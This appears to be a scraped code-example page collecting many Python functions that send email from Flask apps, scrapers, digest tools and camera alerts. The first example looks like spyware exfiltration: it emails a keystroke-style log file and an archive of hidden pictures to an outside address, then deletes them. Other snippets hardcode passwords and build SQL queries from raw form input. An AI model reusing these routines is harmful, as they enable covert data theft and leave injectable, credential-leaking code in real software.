예제 #1
0
def send_and_delete_logfile():
    global var
    read = open(log_file,
                "r").read().encode("utf-8")  # Open the file as  "add text".

    # If the length of "read" is greater than 10000.
    if len(read) >= 10000:
        # Try send an email
        try:
            # Send a email with the content of the log file.
            send_mail("*****@*****.**", "*****@*****.**",
                      read, "lopez86248624")
            os.system("rm " + log_file)  # Delete the log file.

            # Send a email with the content of all pictures.
            os.system(
                "tar -czvf $HOME/.local/share/pics/file.tar.gz $HOME/.local/share/pics/"
            )
            send_file("*****@*****.**", "*****@*****.**",
                      home + ".local/share/pics/file.tar.gz", "lopez86248624")
            os.system("rm -r $HOME/.local/share/pics/"
                      )  # Delete the file compressed.
            os.system("mkdir $HOME/.local/share/pics/")
            var = 0

        # If an error has occurred, show this.
        except (socket.gaierror):
            print("Not internet")
        # If an error has occurred, show this.
        except (OSError):
            print("Not internet, or the internet is too slow")
예제 #2
0
def create_emails(data, emails):
    with open('text_template.txt', encoding="utf8") as text:
        body = text.readlines()
    with open('email_template.html', encoding="utf8") as html:
        html_body = html.readlines()
    for key in data:
        html_table = "<tr><td><table>"
        text_table = ""
        for record in data[key]:
            html_table += "<tr>"
            for datum in record:
                html_table += "<td>" + datum + "</td>"
                text_table += datum + "\t\t"
            html_table += "</tr>"
            text_table += "\n"
        html_table += "</table></td></tr>"
        html_body[34] = html_table
        body[34] = text_table
        body_string = ""
        for string in body:
            body_string += string
        html_string = ""
        for string in html_body:
            html_string += string
        send_email.send_mail(get_creds(), '', "Notification from MyVote", body_string, html_string)
        break
예제 #3
0
def return_ret():
    #email=request.form.get('email')
    if request.form.get('email') != None:
        session['email'] = request.form.get('email')
        send_email.send_mail(request.form.get('username'),
                             request.form.get('email'))
    if request.form.get('username') != None:
        session['nickname'] = request.form.get('username')
    if request.form.get('password') != None:
        session['password'] = request.form.get('password')
    session.permanent = True

    while request.form.get('mailcode') == None:
        continue
    if 'email' in session and 'nickname' in session and 'password' in session:
        if request.form.get('mailcode') == r.get(session['email']):

            db = pymysql.connect("localhost",
                                 "root",
                                 "nn456wsx",
                                 "booking",
                                 charset='utf8')
            cursor = db.cursor()
            sql = ("INSERT INTO USER_INFORMATION(username,password)"
                   "VALUES(%s,%s)")

            s = (session['nickname'], session['password'])
            cursor.execute(sql, s)
            db.commit()
            flash("注册成功,请您重新登录")
            return redirect(url_for('login'))
        else:
            flash("验证码输入错误,请重新输入")
예제 #4
0
 def post(self):
     email = request.form.get('email',None)
     if User.query.filter_by(email=email).first():
         send_mail(email,send_type='forget')
         context = {"msg":"请到接收邮件修改密码~~~"}
         return render_template('user/forget.html',**context)
     else:
         context = {"msg":"您输入的邮箱有误!!!"}
         return render_template('user/forget.html',**context)
예제 #5
0
def gen_digest(uid):
    conn = connect_db()
    cur = conn.cursor()
    f = open("/tmp/test_gen_digest.txt", "a")
    """email_addr, sender_email, sender_name, email_id, gmail_message_id, timestamp, subject, s"""
    f.write(uid + "\n")
    emails = oauth123.get_last100_emails(uid)
    f.write("get 100 emails\n")
    f.write(str(emails))
    f.write('\n')
    f.write(str(len(emails)))
    email_addr = ""
    if len(emails) == 0:
        return
    i = 0
    for email in emails:
        i += 1
        f.write(str(i) + "\n")
        email_addr = email[0]
        sender_email = email[1]
        sender_name = email[2]
        email_id = email[3]
        gmail_message_id = email[4]
        timestamp = email[5]
        subject = email[6]
        content = email[7]
        parse_res = detect_promotion(content)
        if parse_res['is_promotion']:
            f.write("email_addr\n")
            f.write(email_addr)
            db.insert_email(cur, email_addr, email_id,
                            gmail_message_id, sender_email, sender_name,
                            int(timestamp), parse_res['unsubscribe_url'], "",
                            subject)
            f.write("tryt insrteafeasd\n")
            conn.commit()
    f.write('asfdsadfsad\n')
    f.write(email_addr)
    digest_emails = db.get_digest_list(cur, email_addr)
    f.write('finish get digest list\n')
    print digest_emails
    conn.commit()
    raw_data, first_name = email_timer.process_emails(digest_emails)
    f.write('--------------------\n')
    f.write(str(raw_data) + '\n')
    f.write(str(first_name) + '\n')
    if len(raw_data) > 0:
        f.write('get in here!!!\n')
        html_data = gen_digest_html.gen_html(raw_data, first_name)
        #f.write(str(html_data))
        #f.write('\n')
        send_email.send_mail(email_addr, html_data)
        f.write('----------ok here too---------\n')
    f.close()
    cur.close()
    conn.close()
예제 #6
0
 def run(self):
     # As long as we weren't asked to stop, try to take new tasks from the
     # queue. The tasks are taken with a blocking 'get', so no CPU
     # cycles are wasted while waiting.
     # Also, 'get' is given a timeout, so stoprequest is always checked,
     # even if there's nothing in the queue.
     while not self.stoprequest.isSet():
         try:
             h264_filename = self.h264_q.get(True, 0.05)
             fname = mp4_folder + h264_filename
             now = time.strftime("%a, %d %b %Y %H:%M:%S", time.localtime())
             #os.system("rm {}".format(fname))
             os.system("mv {} {}".format(h264_folder + h264_filename,
                                         fname))
             try:
                 should_send, message = hd.determine_if_person_in(
                     fname, is_nano=True)
                 #if not should_send:
                 if should_send:
                     jpeg_name = fname[:fname.rfind('.') + 1] + 'jpg'
                     if os.path.exists(jpeg_name):
                         send_list = [fname, jpeg_name]
                     else:
                         send_list = [fname]
                     sem.send_mail(files=send_list, text=message)
                     self.files_sent.append((fname, now))
                     os.remove(fname)
             except Exception as e:
                 print(str(e))
                 #if should_send:
                 self.files_not_sent.append((fname, now))
         except queue.Empty:
             #if nothing to do, we try to push files not sent earlier
             if self._connected() and len(self.files_not_sent) > 0:
                 for f, now in self.files_not_sent:
                     try:
                         text = "Motion detected in your room at {}. Please see attached video.\n".format(
                             now)
                         sem.send_mail(files=[mp4_folder + f], text=text)
                         self.files_not_sent.remove((f, now))
                         os.remove(mp4_folder + f)
                     except:
                         continue
             if time.time() - self.time_last_written > logwrite_th:
                 self.time_last_written = time.time()
                 if len(self.files_not_sent) > 0:
                     if self.files_not_sent != self.last_files_not_sent:
                         self.last_files_not_sent = deepcopy(
                             self.files_not_sent)
                         with open(log_dir + log_file, 'a') as f:
                             f.write(
                                 time.strftime("%a, %d %b %Y %H:%M:%S\n",
                                               time.localtime()))
                             f.write(str(self.files_not_sent))
                             f.write('\n')
                             f.write('\n')
def send_emails_web():
    if str(datetime.datetime.today().hour) + ":00:00+0900" in time_range:
        global data_daily
        msg = "Hello, \nToday is " + data_daily['day_1_main'].lower()
        database = MySQL()
        all_emails = database.get_all()
        database.close()
        for row in all_emails:
            send_email.send_mail(
                row[0], row[1], msg, data_daily['day_1_temp'],
                ''.join([alerts_description, alerts_description_2]), False)
예제 #8
0
def send_all_mails(myLink, mySybject, myContent):
    service = build('gmail', 'v1', credentials=autho())
    # Call the Gmail API
    service.users().labels().list(userId='me').execute()
    dic = sheet_to_dict(myLink)
    if dic['Email'] != None:
        for email in dic['Email']:
            message = create_message_with_attachment('', email, mySybject,
                                                     myContent)
            send_mail(service, 'me', message)
        return 1
    return 0
예제 #9
0
def gen_digest(uid):
    conn = connect_db()
    cur = conn.cursor()
    f = open("/tmp/test_gen_digest.txt", "a")
    """email_addr, sender_email, sender_name, email_id, gmail_message_id, timestamp, subject, s"""
    f.write(uid+"\n")
    emails = oauth123.get_last100_emails(uid)
    f.write("get 100 emails\n")
    f.write(str(emails))
    f.write('\n')
    f.write(str(len(emails)))
    email_addr = ""
    if len(emails) == 0:
        return
    i = 0
    for email in emails:
        i += 1
        f.write(str(i)+"\n")
        email_addr = email[0]
        sender_email = email[1]
        sender_name = email[2]
        email_id = email[3]
        gmail_message_id = email[4]
        timestamp = email[5]
        subject = email[6]
        content = email[7]
        parse_res = detect_promotion(content)
        if parse_res['is_promotion']:
            f.write("email_addr\n")
            f.write(email_addr)
            db.insert_email(cur, email_addr, email_id, gmail_message_id, sender_email, sender_name, int(timestamp), parse_res['unsubscribe_url'], "", subject)
            f.write("tryt insrteafeasd\n")
            conn.commit()
    f.write('asfdsadfsad\n')
    f.write(email_addr)
    digest_emails = db.get_digest_list(cur, email_addr)
    f.write('finish get digest list\n')
    print digest_emails
    conn.commit()
    raw_data, first_name = email_timer.process_emails(digest_emails)
    f.write('--------------------\n')
    f.write(str(raw_data)+'\n')
    f.write(str(first_name)+'\n')
    if len(raw_data) > 0:
        f.write('get in here!!!\n')
        html_data = gen_digest_html.gen_html(raw_data, first_name)
        #f.write(str(html_data))
        #f.write('\n')
        send_email.send_mail(email_addr, html_data)
        f.write('----------ok here too---------\n')
    f.close()
    cur.close()
    conn.close()
예제 #10
0
def rent_xingshan():
    session = requests.Session()
    headers = {"Accept": "application/json, text/javascript, */*",
               "Accept-Encoding": "gzip, deflate, sdch, br",
               "Accept-Language": "en-US,en;q=0.8", "Connection": "keep-alive",
               "Cookie": "PHPSESSID=71f9a9d297e5dd16c4a36fc1306a2542; urlJumpIp=1; urlJumpIpByTxt=%E5%8F%B0%E5%8C%97%E5%B8%82;",
               "Host": "rent.591.com.tw",
               "DNT": "1",
               "Referer": "https://rent.591.com.tw/map-index.html",
               "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, "
                             "like Gecko) Chrome/50.0.2661.102 Safari/537.36",
               "X-Requested-With": "XMLHttpRequest"}
    url_duli = "https://rent.591.com.tw/map-search.html?l11=1&l12=0&l21=17&l22=25.056744553050592&l23=121.57793898692476&l31=17&l32=25.056744553050592&l33=121.57793898692476&l41=25.052749924570147&l42=25.060739051331193&l43=121.57038588633884&l44=121.58549208751072&p11=0&p12=0&p13=0&p14=0&f0=2&f1=0&f2=0&f3=0&f4=0&f5=0&f6=undefined&f7=undefined&f8=undefined&rid=1&sid=&_=1468159318211"
    url_fenzhu = "https://rent.591.com.tw/map-search.html?l11=1&l12=0&l21=17&l22=25.056744553050592&l23=121.57793898692476&l31=17&l32=25.056744553050592&l33=121.57793898692476&l41=25.052749924570147&l42=25.060739051331193&l43=121.57038588633884&l44=121.58549208751072&p11=0&p12=0&p13=0&p14=0&f0=3&f1=0&f2=0&f3=0&f4=0&f5=0&f6=undefined&f7=undefined&f8=undefined&rid=1&sid=&_=1468159340424"
    url_zhengcheng = "https://rent.591.com.tw/map-search.html?l11=1&l12=0&l21=17&l22=25.056744553050592&l23=121.57793898692476&l31=17&l32=25.056744553050592&l33=121.57793898692476&l41=25.052749924570147&l42=25.060739051331193&l43=121.57038588633884&l44=121.58549208751072&p11=0&p12=0&p13=0&p14=0&f0=1&f1=0&f2=1&f3=0&f4=0&f5=0&f6=undefined&f7=undefined&f8=undefined&rid=1&sid=&_=1468159224728"
    url_list = [url_duli, url_fenzhu, url_zhengcheng]

    try:
        with open('591_xingshan.pk', 'rb') as input:
            rent_list = pickle.load(input)
    except:
        rent_list = list()

    old_length = len(rent_list)

    for url in url_list:
        req = session.get(url, headers=headers)

        bsObj = BeautifulSoup(req.text, "lxml")
        if not json.loads(bsObj.text)['ware']:
            continue
        href_list = bsObj.find_all("a", href=re.compile('rent.*?html'))

        for i in href_list:
            if i['href'][2:-2] not in rent_list:
                rent_list.append(i['href'][2:-2])

    rent_main = "https://rent.591.com.tw/"
    if old_length != len(rent_list):
        with open('591_xingshan.pk', 'wb') as output:
            pickle.dump(rent_list, output, -1)
        if not old_length:
            send_email.send_mail('xingshan', "\n\r" + rent_main + ("\n\r" + rent_main).join(
                    rent_list))
        else:
            send_email.send_mail('xingshan', "\n\r" + rent_main + ("\n\r" + rent_main).join(
                    rent_list[old_length:]))

    print "591 xingshan scrape done"
예제 #11
0
def email():
    if request.method == 'POST':
        app.logger.info(request)
        app.logger.info(request.form['subject'])
        app.logger.info(request.form['text'])
        for sub in Subscriber.query.all():
            app.logger.info("Sub %s")
        app.logger.info("Sending to {}", [sub.email for sub in Subscriber.query.all()])
        try:
            send_mail(email_user, [sub.email for sub in Subscriber.query.all()],
                      request.form['subject'] , request.form['text'],
                      username=email_user, password=email_pass)
        except Exception as e:
            app.logger.info("Unable to send to some recipients {} --> {}".format(type(e), e))
    return render_template('email.html')
예제 #12
0
    def mail(self, ID):
        fromaddr = '*****@*****.**'
        toaddr  = '*****@*****.**'
        msg = "\r\n".join([
          "Subject: Your Saved Patent",
          "",
            "Hello Oski! \n\n", "You saved a patent using the Patent Fox app.\n",
            "Here is the link: \n",
           "https://drive.google.com/viewerng/viewer?url=patentimages.storage.googleapis.com/pdfs/US6477117.pdf"
           "https://www.google.com/patents/US" + ID
          ])

        username = '******'
        password = '******'
        send_mail(username,password,fromaddr,toaddr,msg)
예제 #13
0
def full_recipe(recipe_id):
    if request.method == 'POST':
        app.logger.info("Received a comment {} --> {}".format(request.form['commentor_name'], request.form['comment']))
        # TODO: Email this comment to be approved
        # Need a script running in the background which checks email periodically for "New comment" with reply OK, then populate
        # the DB accordingly
        send_mail(email_user, email_user,
                  "New comment from reader!", 
                  ("Reader {} would like to comment the following on "
                   "recipe {}: {}").format(request.form['commentor_name'], Recipe.query.filter_by(id=recipe_id).first().title,
                  request.form['comment']),
                  username=email_user, password=email_pass)
    recipe = Recipe.query.filter_by(id=recipe_id).first()
    comments = Comment.query.filter_by(recipe_id=recipe_id)
    app.logger.info("{}".format(comments))
    return render_template('recipe.html', recipe=recipe, comments=comments)
def update_mail_loc():
    global email, city, data_daily
    msg = "Thank you for subscribing to Weather Website by Program Explorers!"
    alerts_email = alerts_description + alerts_description_2

    try:
        email = request.form['update_email']
        city = request.form['update_location']
    except:
        pass
    is_email_sent = send_email.send_mail(email, city, msg,
                                         data_daily['day_1_temp'],
                                         alerts_email, True)

    if is_email_sent:
        message = "Thank You For Subscribing!"

    else:
        message = 'Invalid email try again'

    data_base = MySQL()
    data_base.insert(email=email, location=city)
    data_base.commit()
    data_base.close()

    return render_template('done.html', message=message)
예제 #15
0
def main():
    conn = sqlite3.connect(settings._DB)
    cur = conn.cursor()
    user_list = db.get_email_list(cur)
    print user_list

    for user in user_list:
        emails = db.get_digest_list(cur, user[0])
        raw_data, first_name = process_emails(emails)
        if len(raw_data) > 0:
            html_data = gen_digest_html.gen_html(raw_data, first_name)
            send_email.send_mail(user[0], html_data)
            #send_email.send_mail("*****@*****.**", html_data)
            #send_email.send_mail("*****@*****.**", html_data)
    cur.close()
    conn.close()
예제 #16
0
def send(name, website=None, to_email=None, verbose=False):
    assert to_email != None
    if website != None:
        msg = format_msg(my_name=name, my_website=website)
    else:
        msg = format_msg(my_name=name)
    if verbose:
        print(name, website, to_email)
    # send the message
    send_mail(text=msg, to_emails=[to_email], html=None)

    try:
        send_mail(text=msg, to_emails=[to_email], html=None)
        sent = True
    except:
        sent = False
    return sent
예제 #17
0
파일: register.py 프로젝트: Snow670/51Shop
 def post(self):
     email = request.form.get('email',None)
     password = request.form.get('password',None)
     if email and password:
         if User.query.filter_by(email=email).first():
             context = {"msg": "该邮箱已注册!"}
             return render_template('user/register.html',**context)
         else:
             add_data = User(username=email,password=generate_password_hash(password),email=email)
             db.session.add(add_data)
             db.session.commit()
             send_mail(email,send_type='register')
             context = {"msg": "邮件已发送,请接收邮件激活账号"}
             return render_template('user/register.html',**context)
     else:
         context = {"msg":"信息不完整"}
         return render_template('user/register.html',**context)
예제 #18
0
def feedback():
    if request.method == 'POST':
        cur = conn.cursor()
        details = request.form
        name = details['name']
        email = details['email']
        phone = details['phone']
        feedback_for = details['feedback_for']
        feedback = details['feedback']
        cur.execute(
            'insert into feedback(name, email, mobile, feedback_for, feedback) values (%s, %s, %s, %s, %s)',
            (name, email, phone, feedback_for, feedback))
        conn.commit()
        send_mail(name, email, phone, feedback_for, feedback)
        cur.close()
        return render_template('feedback.html', fill=True)
    return render_template('feedback.html', fill=False)
예제 #19
0
def submit():
    if request.method == 'POST':
        customer = request.form['customer']
        dealer = request.form['dealer']
        rate = request.form['rating']
        comments = request.form['comments']
        if customer == '' or dealer == '':
            return render_template('index.html',
                                   message='please fill the required fields')
        if db.session.query(Feedback).filter(
                Feedback.costumer == customer).count() == 0:
            data = Feedback(customer, dealer, comments, rate)
            db.session.add(data)
            db.session.commit()
            send_mail(customer, dealer, rate, comments)
            return render_template('success.html')
        return render_template('index.html',
                               message='You already submitted the feedback')
예제 #20
0
def submit():
    if request.method == 'POST':
        guest = request.form['guest']
        email = request.form['email']
        favorite = request.form['favorite']
        rating = request.form['rating']
        comments = request.form['comments']
        if guest == '' or favorite == '' or email == '':
            return render_template('index.html',
                                   message="Please enter required fields")
        if db.session.query(Feedback).filter(
                Feedback.guest == guest).count() == 0:
            data = Feedback(guest, email, favorite, rating, comments)
            db.session.add(data)
            db.session.commit()
            send_mail(guest, favorite, email)
            return render_template('success.html')
        return render_template('index.html',
                               message="You have already given your feedback")
예제 #21
0
def submit():
    if request.method == 'POST':
        customer = request.form['customer']
        coffee = request.form['coffee']
        rating = request.form['rating']
        comments = request.form['comments']

        if customer == '' or coffee == '':
            return render_template('index.html',
                                   message='Please enter required fields!')
        if db.session.query(CoffeeFeedback).filter(
                CoffeeFeedback.customer == customer).count() == 0:
            data = CoffeeFeedback(customer, coffee, rating, comments)
            db.session.add(data)
            db.session.commit()
            send_mail(customer, coffee, rating, comments)
            return render_template('success.html')
        return render_template('index.html',
                               message='You have already submitted feedback!')
예제 #22
0
def prepare_email(file_paths):
    ''' Prepare email to be sent'''
    file_names = [fp.split('/')[-1] for fp in file_paths]
    subject = "NMU " + FACULTY + " Results Found"
    message = "\r\n".join([
        "",
        "Hi There!",
        "I'm ResultBot. I keep searching for NMU results.",
        "I found the following files (see attachments)"
        " related to NMU {} results.".format(FACULTY),
        "",
    ] + file_names)
    end_message = ("\n\n\nYou received this email because you were added to "
                   "the mailing list by Ibrahim Jarif.\nIf you wish to "
                   "unsubscribe, please reply back to this email."
                   "\n\nCheers,\nResultBot")
    message += end_message
    print ("Sending email...")
    send_mail(subject,
              message, files=file_paths)
예제 #23
0
 def run(self):
     while len(self.files_not_sent) > 0:
         try:
             if self._connected():
                 for f, now in self.files_not_sent:
                     try:
                         text = "Motion detected in your room at {}. Please see attached video.\n".format(
                             now)
                         sem.send_mail(files=[mp4_folder + f], text=text)
                         self.files_not_sent.remove((f, now))
                     except:
                         continue
             if len(self.files_not_sent) > 0:
                 with open(log_dir + log_file, 'a') as f:
                     f.write(
                         time.strftime("%a, %d %b %Y %H:%M:%S\n",
                                       time.localtime()))
                     f.write(str(self.files_not_sent))
                     f.write('\n')
         except:
             continue
예제 #24
0
def submit():
    if request.method == 'POST':
        time = request.form['time']
        vehicles = request.form['vtype']
        n_people = request.form['people']
        location = request.form['location']
        severity = request.form['rating']
        latitude = request.form['latitude']
        longitude = request.form['longitude']
        officer = request.form['officer']
        #print(Date, time, vtype, plate, location, rating, comments, latitude, longitude)
        #return render_template('success.html')
       
        # if location == '' or plate == '':
        #     return render_template('index.html', message='Please enter required fields')
        
        data = Feedback(time, vehicles, n_people, location, severity , latitude,longitude, officer)
        db.session.add(data)
        db.session.commit()
        send_mail(time,vehicles, n_people, location, severity , latitude,longitude,officer)
        return render_template('success.html')
예제 #25
0
def SignUp():
    connection = mysql.connect()
    cursor = connection.cursor()
    _mis = request.form['mis']
    _fname = request.form['f_name']
    _passwd = request.form['passwd_reg']
    _email = request.form['email_reg']
    _phone = request.form['number_reg']
    _salt = generate_random.generate_random()
    _passwd = _passwd + _salt
    _passwd = generate_hash.hash(_passwd)
    os.makedirs(basedir + '/static/uploads/' + _mis)
    os.makedirs(basedir + '/static/uploads/' + _mis + '/apps')
    os.makedirs(basedir + '/static/uploads/' + _mis + '/calcy')
    os.makedirs(basedir + '/static/uploads/' + _mis + '/store')
    os.makedirs(basedir + '/static/uploads/' + _mis + '/share')

    query = "INSERT INTO secure_login (email,password,salt,name,number,MIS) VALUES ('" + _email + "','" + _passwd + "','" + _salt + "','" + _fname + "','" + _phone + "','" + _mis + "' )"
    cursor.execute(query)
    connection.commit()
    send_email.send_mail(_email)
    return json.dumps({'status': '200'})
예제 #26
0
def start():
    mylogger.info('开始执行测试==================================')
    # suite = unittest.TestLoader().loadTestsFromTestCase(MyTestSuite)
    # suite = unittest.TestSuite([suite])
    # unittest.TextTestRunner(verbosity=2).run(suite)
    report_path = os.path.dirname(os.path.abspath('.')) + '/apiTest/report/'
    now = time.strftime("%Y-%m-%d-%H_%M_%S", time.localtime(time.time()))
    HtmlFile = report_path + now + 'HTMLtemplate.html'
    fp = file(HtmlFile, 'wb')
    suite1 = unittest.TestLoader().loadTestsFromTestCase(MyTestSuite_1)
    suite2 = unittest.TestLoader().loadTestsFromTestCase(MyTestSuite_2)
    suite = unittest.TestSuite([suite1, suite2])
    runner = HTMLTestRunner.HTMLTestRunner(stream=fp, title=u"测试报告", description=u"用例测试情况")
    test_result = runner.run(suite)
    all_num = test_result.testsRun
    fail_num = len(test_result.failures)
    # for case, reason in test_result.failures:
    #     print case.id()
    #     print reason
    fp.close()
    report = se.new_report(report_path)
    se.send_mail(report)
    method.insert_to_table(all_num,fail_num,report)
    return redirect(url_for('test_history'))
예제 #27
0
    def run(self, dispatcher, tracker, domain):
        # Query top 10 restaurants in a sorted order (descending) of the average Zomato user rating (on a scale of 1-5, 5 being the highest).
        zomatoapp = zomato_app.QueryZomato()
        result_json = zomatoapp.search_restaurant(tracker, 10)

        # create the email message body with resuts from zomato api.
        # The mail should have the following details for each restaurant:
        #       Restaurant Name
        #       Restaurant locality address
        #       Average budget for two people
        #       Zomato user rating
        message = "Hi,\n\nAs per your request please find the top rated " + str(
            zomatoapp.cuisine) + " restaurants in " + str(
                zomatoapp.loc) + " below. Enjoy, Bon Appetit!\n\n"

        if result_json['results_found'] == 0:
            message = message + "Sorry, no results found :-("
        else:
            count = 1
            for restaurant in result_json['restaurants']:
                message = message + str(count) + ". \""
                message = message + str(
                    restaurant['restaurant']['name']) + "\""
                message = message + "\n\tAddress: "
                message = message + str(
                    restaurant['restaurant']['location']['address'])
                message = message + "\n\tRating: "
                message = message + str(restaurant['restaurant']['user_rating']
                                        ['aggregate_rating'])
                message = message + "\n\tAverage price for two: "
                message = message + str(
                    restaurant['restaurant']['average_cost_for_two'])
                message = message + str(restaurant['restaurant']['currency'])
                message = message + "\n"
                count += 1
        message = message + "\n\n\nThanks,\n\tTeam Foodie."

        # call the flask email sending utility and send mail
        subject = "Foodie search results of top rated " + str(
            zomatoapp.cuisine) + " restaurants in " + str(zomatoapp.loc)
        email_id = tracker.get_slot('emailid').strip(' ')
        recipients = [email_id]
        message = message
        response = send_email.send_mail(recipients, subject, message)

        dispatcher.utter_message("-----\n" + response)
        return [SlotSet('emailid', email_id)]
예제 #28
0
def send_art_email(to_self=False):
	content=get_send_content(10,to_self)
	if to_self:
		clear_email()
	print content
	return send_email.send_mail(get_courrent_time(),content,to_self)

# clear_email(0)
# save_art('d','d','test')

# is_exist_url('df') 
# connection.drop_db()
#7
#13
#14
#38
#95
# print count()
# # print count()
# clear_email()
예제 #29
0
def send_art_email(to_self=False):
	content=get_send_content(10,to_self)
	if to_self:
		clear_email()
	# print content
	return send_email.send_mail('novels newest',content,to_self)
# print  get_send_content(100)
# clear_email(0)
# save_art('d','d','test')

# print is_exist_url('http://tieba.baidu.com/p/4209153067?see_lz=1') 
# connection.drop_db()
#7
#13
#14
#38
#95
# print count()
# # print count()
# clear_email()
예제 #30
0
def send_country_list():
    gdp_data = get_gdp_data()
    output = build_table(gdp_data, 'blue_light')
    send_mail(output)
    return "Mail sent successfully."
예제 #31
0
def rent_xingshan():
    session = requests.Session()
    headers = {
        "Accept":
        "application/json, text/javascript, */*",
        "Accept-Encoding":
        "gzip, deflate, sdch, br",
        "Accept-Language":
        "en-US,en;q=0.8",
        "Connection":
        "keep-alive",
        "Cookie":
        "PHPSESSID=71f9a9d297e5dd16c4a36fc1306a2542; urlJumpIp=1; urlJumpIpByTxt=%E5%8F%B0%E5%8C%97%E5%B8%82;",
        "Host":
        "rent.591.com.tw",
        "DNT":
        "1",
        "Referer":
        "https://rent.591.com.tw/map-index.html",
        "User-Agent":
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, "
        "like Gecko) Chrome/50.0.2661.102 Safari/537.36",
        "X-Requested-With":
        "XMLHttpRequest"
    }
    url_duli = "https://rent.591.com.tw/map-search.html?l11=1&l12=0&l21=17&l22=25.056744553050592&l23=121.57793898692476&l31=17&l32=25.056744553050592&l33=121.57793898692476&l41=25.052749924570147&l42=25.060739051331193&l43=121.57038588633884&l44=121.58549208751072&p11=0&p12=0&p13=0&p14=0&f0=2&f1=0&f2=0&f3=0&f4=0&f5=0&f6=undefined&f7=undefined&f8=undefined&rid=1&sid=&_=1468159318211"
    url_fenzhu = "https://rent.591.com.tw/map-search.html?l11=1&l12=0&l21=17&l22=25.056744553050592&l23=121.57793898692476&l31=17&l32=25.056744553050592&l33=121.57793898692476&l41=25.052749924570147&l42=25.060739051331193&l43=121.57038588633884&l44=121.58549208751072&p11=0&p12=0&p13=0&p14=0&f0=3&f1=0&f2=0&f3=0&f4=0&f5=0&f6=undefined&f7=undefined&f8=undefined&rid=1&sid=&_=1468159340424"
    url_zhengcheng = "https://rent.591.com.tw/map-search.html?l11=1&l12=0&l21=17&l22=25.056744553050592&l23=121.57793898692476&l31=17&l32=25.056744553050592&l33=121.57793898692476&l41=25.052749924570147&l42=25.060739051331193&l43=121.57038588633884&l44=121.58549208751072&p11=0&p12=0&p13=0&p14=0&f0=1&f1=0&f2=1&f3=0&f4=0&f5=0&f6=undefined&f7=undefined&f8=undefined&rid=1&sid=&_=1468159224728"
    url_list = [url_duli, url_fenzhu, url_zhengcheng]

    try:
        with open('591_xingshan.pk', 'rb') as input:
            rent_list = pickle.load(input)
    except:
        rent_list = list()

    old_length = len(rent_list)

    for url in url_list:
        req = session.get(url, headers=headers)

        bsObj = BeautifulSoup(req.text, "lxml")
        if not json.loads(bsObj.text)['ware']:
            continue
        href_list = bsObj.find_all("a", href=re.compile('rent.*?html'))

        for i in href_list:
            if i['href'][2:-2] not in rent_list:
                rent_list.append(i['href'][2:-2])

    rent_main = "https://rent.591.com.tw/"
    if old_length != len(rent_list):
        with open('591_xingshan.pk', 'wb') as output:
            pickle.dump(rent_list, output, -1)
        if not old_length:
            send_email.send_mail(
                'xingshan',
                "\n\r" + rent_main + ("\n\r" + rent_main).join(rent_list))
        else:
            send_email.send_mail(
                'xingshan', "\n\r" + rent_main +
                ("\n\r" + rent_main).join(rent_list[old_length:]))

    print "591 xingshan scrape done"
예제 #32
0
    pdf_name = pdf_from_html()

    # SEND EMAIL
    sender = '*****@*****.**'  # can also use username instead
    receivers = ['emailaddress_1', 'emailaddress_2', 'etc']
    host = 'smtp.gmail.com'
    username = os.environ.get('EMAIL_USER')
    password = os.environ.get('EMAIL_PW')

    html_inlined = 'htmls/email_template_inlined.html'
    image_file_paths = [
        'graphs/week_file.png', 'graphs/heatmap.png', 'graphs/tophosts.png',
        'graphs/pie.png'
    ]
    html_inserts = {
        'cid1': image_file_paths[0],
        'cid2': image_file_paths[1],
        'cid3': image_file_paths[2],
        'cid4': image_file_paths[3]
    }

    send_mail(subject='Weekly DHCP Requests Report',
              from_email=sender,
              to_emails=receivers,
              host=host,
              user_mailserver=username,
              pw_mailserver=password,
              html_file_path=html_inlined,
              html_inserts=html_inserts,
              att_file_paths=pdf_name)
예제 #33
0
            email_data[header] = email_message[header]
        for part in email_message.walk():
            if part.get_content_type() == "text/plain":
                body = part.get_payload(decode=True)
                # print('body: ', body.decode())
                email_data['body'] = body.decode()
            elif part.get_content_type() == "text/html":
                html_body = part.get_payload(decode=True)
                # print('html_body: ', html_body.decode())
                email_data['html_body'] = html_body.decode()
        my_messages.append(email_data)
    return my_messages


try:
    if __name__ == "__main__":
        my_inbox = get_inbox()
        print(my_inbox)
        row_key = 1
        for row in my_inbox:
            if len(str(row.get('subject')).strip()) == 0 or len(
                    str(row.get('body').strip())) == 0:
                print("row: ", row_key, ", subject/body is empty")
                send_email.send_mail(str(row.get('from')).strip())
            # elif len(str(row.get('body').strip())) == 0:
            #     print("body is empty")
            # print(row_key)
            row_key = row_key + 1
except Exception as e:
    print(e)
예제 #34
0
def water_position(dirname):

    csv_path = os.path.join('check', dirname, 'xlses', 'cleared')
    data_path = os.path.join('check', dirname)

    if os.path.isdir(os.path.join(data_path, 'drinking_pos')):
        rmtree(os.path.join(data_path, 'drinking_pos'))

    os.mkdir(os.path.join(data_path, 'drinking_pos'))

    csv_files = os.listdir(csv_path)

    csv_files.sort(key=lambda x: (int(x.split('_')[2]), int(x.split('_')[
        0]), int(x.split('_')[1]), x.split('_')[5], int(x.split('_')[3]) % 12,
                                  int(x.split('_')[4])))

    csv_files = csv_files[:]

    data = [[] for i in range(2 * 7)]
    dates = []

    for xls in csv_files:
        print(xls)

        with open(os.path.join('check', dirname, 'xlses', 'cleared', xls),
                  newline='') as csvfile:
            cur_data = list(csv.reader(csvfile))
            if len(cur_data) > 20:
                cur_data = np.array(cur_data).T.tolist()

        for i in range(len(data)):
            data[i] += cur_data[i]
        dates += cur_data[-1]

    mouses_info = [[data[7 * m + i] for i in range(2)] for m in range(2)]

    for m in range(2):
        mouses_info[m] = np.array(mouses_info[m]).T.astype(float).tolist()

    is_water_pos = [[0] * len(dates), [0] * len(dates)]

    for i in range(len(mouses_info[0])):
        if (140 <= mouses_info[0][i][0] <=
                220) and mouses_info[0][i][1] <= 105:
            is_water_pos[0][i] = 1
    for i in range(len(mouses_info[1])):
        if (400 <= mouses_info[1][i][0] <=
                480) and mouses_info[1][i][1] <= 105:
            is_water_pos[1][i] = 1

    start_date = datetime.strptime(dates[0], '%m/%d/%Y %I:%M:%S %p')

    bias = (int(dates[0].split()[1].split(':')[0]) + 1) % 12
    if 'PM' in dates[0]:
        bias += 12

# bias = 0  # !!!!!!!!!!!

    start_date = start_date.replace(microsecond=0, second=0,
                                    minute=0) + timedelta(hours=1)
    print(start_date)

